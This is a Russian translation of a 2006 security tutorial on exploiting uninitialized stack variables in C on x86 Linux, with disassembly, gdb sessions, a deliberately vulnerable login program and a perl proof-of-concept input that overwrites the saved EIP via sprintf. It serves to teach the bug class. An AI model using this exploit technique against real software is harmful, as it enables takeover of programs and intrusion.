20.03.2006

Уязвимость неинициализированных данных

В этой статье описывается, как неинициализированные переменные могут стать причиной “неопределенного поведения” программы, а также приводится пример того, как данный факт может быть использован для перехвата управления приложением.

mercy, перевод Владимир Куксенок

Введение

В этой статье описывается, как неинициализированные переменные могут стать причиной “неопределенного поведения” программы, а также приводится пример того, как данный факт может быть использован для перехвата управления приложением.

Все приведенные примеры были проверены на Ubuntu Linux [1]. Надеемся, что читатель, ознакомившись с представленным материалом, заинтересуется аналогичными проблемами в функциях glibc, коде ядра и многопоточных приложениях [2].

Все примеры написаны на Си и ассемблере под x86. Как читатель, вы должны разбираться в этих языках программирования, а также не испытывать проблем с дизассемблированием и получением информации из страниц стандартной документации (man pages).

Предыстория

В начале 2005 года я изучал исходники одного почтового демона. В коде активно использовались указатели и связанные списки, а также присутствовало несколько ошибок, дающих возможность перехвата потока выполнения приложения из функции, в которой происходит разыменование неинициализированного указателя.

Исследуя эту уязвимость, я заметил несколько странностей, которые позволили мне предположить, что значение разыменованного неинициализированного указателя не всегда неопределенно.

На основе опыта исследования этой уязвимости, я покажу, как разыменование неинициализированного указателя, при определенных условиях, может быть использовано для создания рабочего эксплойта.

Краткий взгляд на инициализацию

Чтобы начать дискуссию о “неопределенных” данных, я расскажу о двух основных этапах инициализации переменных.

Во время компиляции

Во время разработки приложения программист часто использует глобальные переменные, содержащие предопределенные значения. В том случае, если глобальной переменной присвоено значение, она является инициализированными данными и обычно находится в сегменте .data исполняемого файла. Если значение переменной не определено, она считается неинициализированной и помещается в сегмент .bss исполняемого файла.

example-1.c
#include <stdio.h>

int gvar = 12;

int main(void)
{
	printf(“%d\n”, gvar);
	return gvar;
}

В примере выше, переменная ‘gvar’ объявлена как глобальная и инициализирована значением 12. При компиляции программы, переменная gvar, имеющая значение 12, будет добавлена в сегмент .data.

example-1-dbg
laptop:~/paper/examples$ gdb -q ./example_1
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) info variables gvar
All variables matching regular expression "gvar":
Non-debugging symbols:
0x080495b4 gvar
(gdb) x/x 0x080495b4
0x80495b4 <gvar>: 0x0000000c
(gdb) info symbol 0x080495b4
gvar in section .data

Такие переменные уже инициализированы при компиляции и, если вы не обнаружите переполнения в другой переменной сегмента .date или не контролируете что-то, что может изменить gvar, шанс управления их данными очень мал.

Для простоты, эксплойтирование данных, инициализированных во время компиляции, не будет обсуждаться.

Вы также можете скомпилировать вышеприведенную программу, не инициализируя переменную gvar. В этом случае переменная будет определена как неинициализированная и помещена в сегмент .bss. Этот сегмент содержит неинициализированные данные, место под которые отводится в процессе выполнения программы. Это означает, что разыменование данных сегмента .bss приведет к разыменованию указателя на NULL [3].

Во время выполнения

Другой стандартный метод инициализации переменных – во время выполнения программы. Этот тип инициализации применяется для переменных, объявленных внутри функций.

example-2.c
#include <stdio.h>

int local_init(void *arg)
{
	int *val1 = (int *)arg;
	return 0;
}

int main(void)
{
	local_init(NULL);
	return 0;
}

В приведенном коде в функции local_init объявлена локальная переменная val1. Место под эту переменную не выделено в пределах объектного файла, вместо этого она преобразована в машинные команды, которые при выполнении выделяют необходимое пространство в стеке. Это можно увидеть на следующем дизассемблированном листинге:

example-2-dbg
int local_init(void *arg)
{
8048348: 	55 			push	%ebp
8048349: 	89 e5			mov 	%esp,%ebp
804834b: 	83 ec 10 		sub 	$0x10,%esp
int *val1 = (int *)arg;
804834e:	8b 45 08 		mov 	0x8(%ebp),%eax
8048351: 	89 45 fc 		mov 	%eax,0xfffffffc(%ebp)
return 0;
8048354: 	b8 00 00 00 00 	mov 	$0x0,%eax
}
8048359: 	c9 			leave
804835a:	c3 			ret
Сначала выделяется 16 байт ($0x10) под стек функции, затем в начало только что выделенного пространства копируется значение переменной void *arg.

Далее мы сосредоточимся на контроле над пространством стека и данных с целью влияния на локальные переменные, место под которые выделяется в процессе выполнения приложения.

Разыменование

Будем предполагать, что с вопросами инициализации во время компиляции и во время выполнения мы разобрались. Знание того, как переменные инициализируются данными, будет ключом к пониманию того, как работает разыменование.

Разыменование - термин, используемый программистами, означающий обращение к данным, на которые ссылается указатель. В качестве аналогии можно привести пример человека в комнате, в которой находится несколько вещей – компьютер, футбольный мяч и кровать. Как только человек указывает на вещь, он ссылается на нее. Как только он берет вещь, он разыменовывает ее.

По этой аналогии человек это указатель. Множество людей могут указывать на одну и ту же вещь, так же как и множество указателей могут ссылаться на один и тот же адрес в памяти.

example-3.c
include <stdio.h>

int local_init(void *arg)
{
	int *val1 = (int *)arg;
	int val2 = *val1;
	printf(“0x%08x\n”, val2);
	return 0;
}

int main(void)
{
	int val = 0x01020304;
	local_init(&val);
	return 0;
}

В этом примере локальной переменной val1 присваивается адрес, хранящийся в arg. Присваивание val2 к *val1 разыменовывает значение, на которое указывает val1 и присваивает его val2.

Посмотреть, как это происходит на более низком уровне можно с помощью дизассемблера.

example-3-dbg
1 080483a8 <local_init>:
2 #include <stdio.h>
3
4 int local_init(void *arg)
5 {
6 80483a8:	55 			push		%ebp
7 80483a9: 	89 e5 			mov 		%esp,%ebp
8 80483ab: 	83 ec 18 		sub 		$0x18,%esp
9 int *val1 = (int *)arg;
10 80483ae: 	8b 45 08 		mov 		0x8(%ebp),%eax
11 80483b1: 	89 45 f8 		mov 		%eax,0xfffffff8(%ebp)
12 int val2 = *val1;
13 80483b4: 	8b 45 f8 		mov 		0xfffffff8(%ebp),%eax
14 80483b7: 	8b 00 			mov 		(%eax),%eax
15 80483b9: 89 45 fc 			mov 		%eax,0xfffffffc(%ebp)
16
17 fprintf(stdout, "0x%08x\n", val2);
18 80483bc: 	a1 28 96 04 08 		mov 		0x8049628,%eax
19 80483c1: 	83 ec 04 		sub 		$0x4,%esp
20 80483c4: 	ff 75 fc 		pushl		0xfffffffc(%ebp)
21 80483c7: 	68 1c 85 04 08 		push 		$0x804851c
22 80483cc: 	50 			push 		%eax
23 80483cd: 	e8 f6 fe ff ff 		call 		80482c8 <fprintf@plt>
24 80483d2: 	83 c4 10 		add 		$0x10,%esp
25 return 0;
26 80483d5: 	b8 00 00 00 00 		mov 		$0x0,%eax
27 }
28 80483da: 	c9 			leave
29 80483db: 	c3 			ret
30
31 080483dc <main>:
32
33 int main(void)
34 {
35 80483dc: 	55 			push 		%ebp
36 80483dd: 	89 e5 			mov 		%esp,%ebp
37 80483df: 	83 ec 18 		sub 		$0x18,%esp
38 80483e2: 	83 e4 f0 		and 		$0xfffffff0,%esp
39 80483e5: 	b8 00 00 00 00 		mov 		$0x0,%eax
40 80483ea: 	83 c0 0f 		add 		$0xf,%eax
41 80483ed: 	83 c0 0f 		add 		$0xf,%eax
42 80483f0: 	c1 e8 04 		shr 		$0x4,%eax
43 80483f3: 	c1 e0 04 		shl 		$0x4,%eax
44 80483f6: 	29 c4 			sub 		%eax,%esp
45 int val = 0x01020304;
46 80483f8: 	c7 45 fc 04 03 02 01 	movl 		$0x1020304,0xfffffffc(%ebp)
47 local_init(&val);
48 80483ff: 	83 ec 0c 		sub 		$0xc,%esp
49 8048402: 	8d 45 fc 		lea 		0xfffffffc(%ebp),%eax
50 8048405: 	50 			push 		%eax
51 8048406: 	e8 9d ff ff ff 		call 		80483a8 <local_init>
52 804840b: 	83 c4 10 		add 		$0x10,%esp
53 return 0;
54 804840e: 	b8 00 00 00 00 		mov 		$0x0,%eax
55 }
56 8048413: 	c9 			leave
57 8048414: 	c3 			ret
Наиболее важные вещи, на которые нужно обратить внимание:
  • В строках 46-49 (функция main) в регистр eax помещается значение 0x01020304 (int val).
  • В строках 50-51 это значение помещается в стек, и затем вызывает функция local_init.
  • В строке 8 (функция local_init) под локальные переменные выделяется $0x18 байт.
  • В строках 10 и 11 val1 присваивается значение arg.
  • В строках 13 и 14 val1 разыменовывается и значение (в данном случае 0x01020304), на которое ссылается этот указатель, присваивается переменной val2.

Разыменование указателя происходит в строке 14. Перед этим, в регистр eax помещается адрес для разыменования. Очень важно обратить внимание на то, что для разыменования переменной val1 используется адрес, находящийся в стеке.

Перед тем как двигаться дальше, читатель должен изучить и понять, как происходит разыменование.

Эксплойтирование неинициализированных указателей

Вы можете спросить, как вся эта информация может помочь при исследовании программ и как она может быть использована для создания эксплойта?

Перед тем как я начну разговор об этом, вы должны освежить в своей памяти всю информацию, относящуюся к известным уязвимостям:
  • Переполнение буфера с модификацией указателей
  • Ошибки индексирования (особенно в связанных списках)
  • и т.д.
Размышляя об инициализации и разыменовании, каждый начинает думать о критических участках кода, в который происходит изменение переменных, а не о самих данных. Предполагается, что данные, с которыми ведется работа в критических участках кода, не могут стать причиной проблем. Иногда это не так (что и было замечено на примере почтового демона).

Проницательный читатель знает, что при инициализации локальных переменных во время выполнения, данные находятся не в самом исполняемом файле, а представлены в виде машинных команд, устанавливающих значения этих переменных. Локальные переменные хранят свои значение в стеке, которые, как ожидается, будут удалены из стека при выходе из функции.

Это код может быть очень интересен:
0x080483d2 <local_init+42>:		 add 	$0x10,%esp
0x080483d5 <local_init+45>:		 mov 	$0x0,%eax
0x080483da <local_init+50>:		 leave
leave – освобождает фрейм стека, созданный вызванной перед этим командой ENTER. Команда LEAVE копирует указатель фрейма (находящийся в регистре EBP) в регистр указатель стека (ESP). Старый указатель фрейма (указатель фрейма вызывающий процедуры, сохраненный командой ENTER) берется из стека и помещается в регистр EBP, восстанавливая фрейм стека вызывающий процедуры.

Кроме того, что эта команда корректирует стек и возвращает поток выполнения в вызывающую процедуру, интересно также и то, что она не затирает данные в стеке. Это означает, что если были выполнены несколько функций, каждый раз использовалось одно и то же пространство стека.

Теория

Для нас особый интерес представляют следующие моменты:

  1. Локальные переменные размещаются в стеке во время выполнения программы.
  2. При возврате из функции стек корректируется без удаления значений локальных переменных
  3. Механизм разыменования локальных переменных берет адрес для разыменования из стека, а также оперирует данными по этому адресу.
  4. Если переменная не инициализирована, она указывает на то же самое значение в стеке, которое использовалось в предыдущих функциях.

Если можно контролировать данные, попадающие в стек, можно контролировать значение адреса, которое используется при разыменовании неинициализированного указателя. И атакующий может это осуществить.

Рассмотрим следующий пример:

example-4.S
1 .globl _start
2 .section .text
3
4
5 _start:
6 	pushl %esp
7 	movl %esp, %ebp
8
9 	call r1
10 	call r2
11
12	movl $0x1, %eax
13 	int $0x80
14
15
16 r1:
17 	pushl %ebp
18 	movl %esp, %ebp
19 	subl $0x4, %esp
20
21 	movl $0x41414141, (%esp)
22
23 	addl $0x4, %esp
24 	movl %ebp, %esp
25 	popl %ebp
26 	ret
27
28 r2:
29 	pushl %ebp
30 	movl %esp, %ebp
31 	subl $0x4, %esp
32
33 	movl (%esp), %eax
34 	int3
35
36 	addl $0x4, %esp
37 	popl %ebp
38 	ret
  • Подпрограмма _start начинается с установки указателя фрейма (строки 6 и 7)
  • Затем происходит вызов подпрограммы r1, выделяющей пространство в стеке для хранения целого числа (т.е. 4 байт) – строка 19.
  • Далее этому числу присваивается значение 0x41414141 (строка 21).
  • И наконец, происходит корректировка стека и возврат потока выполнения в подпрограмму _start.

Подпрограмма r1 не очистила значение 0x41414141 в стеке, вместо этого был подкорректирован указатель стека. Это означает, что если поток выполнения перейдет к подпрограмме r2 и в ней будет выделено пространство в стеке (строка 31), оно уже будет инициализировано тем, что было в этом месте стека ранее. В данном случае, это будет 0x41414141.

Убедиться во всем можно, запустив вышеприведенную программу в отладчике:

example-4-dbg
laptop:~/paper/examples$ gdb -q ./example_5
Using host libthread_db library
"/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) disass r2
Dump of assembler code for function r2:
0x0804809c <r2+0>:	push 	%ebp
0x0804809d <r2+1>:	mov 	%esp,%ebp
0x0804809f <r2+3>: 	sub 	$0x4,%esp
0x080480a2 <r2+6>: 	mov 	(%esp),%eax
0x080480a5 <r2+9>: 	int3
0x080480a6 <r2+10>: 	add 	$0x4,%esp
0x080480a9 <r2+13>: 	pop 	%ebp
0x080480aa <r2+14>: 	ret
End of assembler dump.
(gdb) break *r2+3
Breakpoint 1 at 0x804809f: file ./example_5.S, line 31.
(gdb) r
Starting program: /home/mercy/paper/examples/example_5
Breakpoint 1, r2 () at ./example_5.S:31
31 subl $0x4, %esp
Current language: auto; currently asm
(gdb) i r eax
eax 0x0 0
(gdb) c
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
r2 () at ./example_5.S:36
36 addl $0x4, %esp
(gdb) i r eax
eax 0x41414141 1094795585
Для использования уязвимостей этого типа вам нужно контролировать данные, сохраненные в стеке перед вызовом уязвимой функции. Кроме того, в уязвимой функции должны выполняться некоторые критические операции над неинициализированной переменной.

Приведем пример:

void r2(void)
{
	int trusted_variable;
	if(trusted_variable == 0x41414141) give_root();
	return;
}
Если атакующий контролирует пространство стека, выделенное под переменную trusted_variable, он может сделать условие истинным и получить права root.

Почтовая программа

Настало время показать на практике как можно использовать такие уязвимости. В этом примере я буду использовать прототип почтового демона, о котором упоминалось в начале статьи.

Упрощенное поведение почтовой программы сводится к следующему:
  1. Установка соединения.
  2. Запрос команды.
  3. Если требуется аутентификация, идем к п.4, иначе выполняем команду.
  4. Произвести аутентификацию, выполнить команду.

Уязвимость

Уязвимость присутствует в функции аутентификации, в том месте, где пользователь вводит неверную комбинацию логин/пароль, информация об этом пишется в лог и соединение прерывается. Функция записи в лог использует неинициализированный указатель, указывающий на ранее переданные логин и пароль, находящиеся в стеке. В этом месте можно нарушить ход работы функции sprintf и получить контроль над потоком выполнения программы.

Учитывая условия, при которых описанную уязвимость можно использовать, я написал простую уязвимую программу:

example-5.c
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4
5 #define MAX_USER 1024
6 #define MAX_PASS MAX_USER
7
8 #define ERR_CRITIC 0x01
9 #define ERR_AUTH 0x02
10
11 int do_auth(void)
12 {
13 	char username[MAX_USER], password[MAX_PASS];
14
15 	fprintf(stdout, "Please enter your username: ");
16 	fgets(username, MAX_USER, stdin);
17
18 	fflush(stdin);
19
20 	fprintf(stdout, "Please enter your password: ");
21 	fgets(password, MAX_PASS, stdin);
22
23 #ifdef DEBUG
24 	fprintf(stderr, "Username is at: 0x%08x (%d)\n", &username, strlen(username));
25 	fprintf(stderr, "Password is at: 0x%08x (%d)\n", &password, strlen(password));
26
27 #endif
28 	if(!strcmp(username, "user") && !strcmp(password, "washere"))
29 	{
30 		return 0;
31 	}
32
33 	return -1;
34 }
35
36 int log_error(int farray, char *msg)
37 {
38 	char *err, *mesg;
39 	char buffer[24];
40
41 #ifdef DEBUG
42 	fprintf(stderr, "Mesg is at: 0x%08x\n", &mesg);
43 	fprintf(stderr, "Mesg is pointing at: 0x%08x\n", mesg);
44 #endif
45 	memset(buffer, 0x00, sizeof(buffer));
46 	sprintf(buffer, "Error: %s", mesg);
47
48 	fprintf(stdout, "%s\n", buffer);
49 	return 0;
50 }
51
52 int main(void)
53 {
54 	switch(do_auth())
55 	{
56 		case -1:
57 			log_error(ERR_CRITIC | ERR_AUTH, "Unable to login");
58 			break;
59 		default:
60 			break;
61 	}
62 	return 0;
63 }

Использование уязвимости

С точки зрения атакующего использование этой уязвимости тривиально. Атакующий должен вместо логина передать адрес буфера, в котором хранится пароль, а вместо пароля полезную нагрузку эксплойта.

Причина в том, что ‘mesg’ – “доверенный” указатель. Программист хотел инициализировать ‘mesg’ указателем ‘msg’, переданным в функцию, но не сделал этого. В стеке ‘mesg’ находится выше имени пользователя и значение этой переменной - это адрес, разыменование которого происходит при вызове sprintf.

Поэтому атакующий должен подставить адрес буфера, содержимым которого он управляет. Используя этот буфер, он может нарушить нормальный ход работы sprintf (строка 46) как и при любом другом переполнении.

example-5-dbg
laptop:~/paper/examples$ gcc ./example_6.c -o example_6 -ggdb3 -DDEBUG
laptop:~/paper/examples$ echo `perl -e'print "\xe0\xf0\xff\xbf" x 255 . "\n" . "B" x 1024'`
| ./example_6
Username is at: 0xbffff4e0 (1023)
Password is at: 0xbffff0e0 (1023)
Mesg is at: 0xbffff8d0
Mesg is pointing at: 0xbffff0e0
Please enter your username: Please enter your password: Error:
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Segmentation fault (core dumped)
laptop:~/paper/examples$ gdb -q -c ./core
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(no debugging symbols found)
Core was generated by `./example_6'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
(gdb)
В этом примере атакующий подставил адрес массива ‘password’ в массив ‘username’. Также, в целях отладки, атакующий заполнил массив ‘password’ символами ‘B’.

Когда при вызове sprintf будет разыменован указатель ‘mesg’, в реальности будет разыменован адрес, находящийся в массиве ‘username’, в нашем случае адрес массива ‘password’. Затем sprintf скопирует содержимое массива ‘password’ до первого встретившегося NULL. В нашей ситуации массив ‘password’ больший, чем ‘buffer’, перезапишет сохраненное значение регистра EIP. Атакующий сможет легко модифицировать этот эксплойт для выполнения своего собственного кода.

Заключение

В этой статье была описана методика контроля и злонамеренного использования неинициализированных переменных. Необходимое условие использования уязвимости - контроль над данными в стеке до вызова уязвимой функции.

Данная статья описывает использование неинициализированных указателей, однако принцип нарушения нормальной работы неинициализированных указателей может быть применен к любым критическим участкам, где используются инвариантные данные, например связанные списки, очереди, сетевые протоколы и т.д.

Ссылки

  1. Ubuntu Linux – http://www.ubuntulinux.com
  2. mercy - Tales of the Unknown: threaded and shreaded.
  3. Ilja van Sprundel (UNIX Kernel Auditing) – http://www.pacsec.jp
  4. The FelineMenace team – http://www.felinemenace.org
  5. The PullThePlug community – http://www.pulltheplug.org
  6. The NoLogin community – http://www.nologin.org
или введите имя

CAPTCHA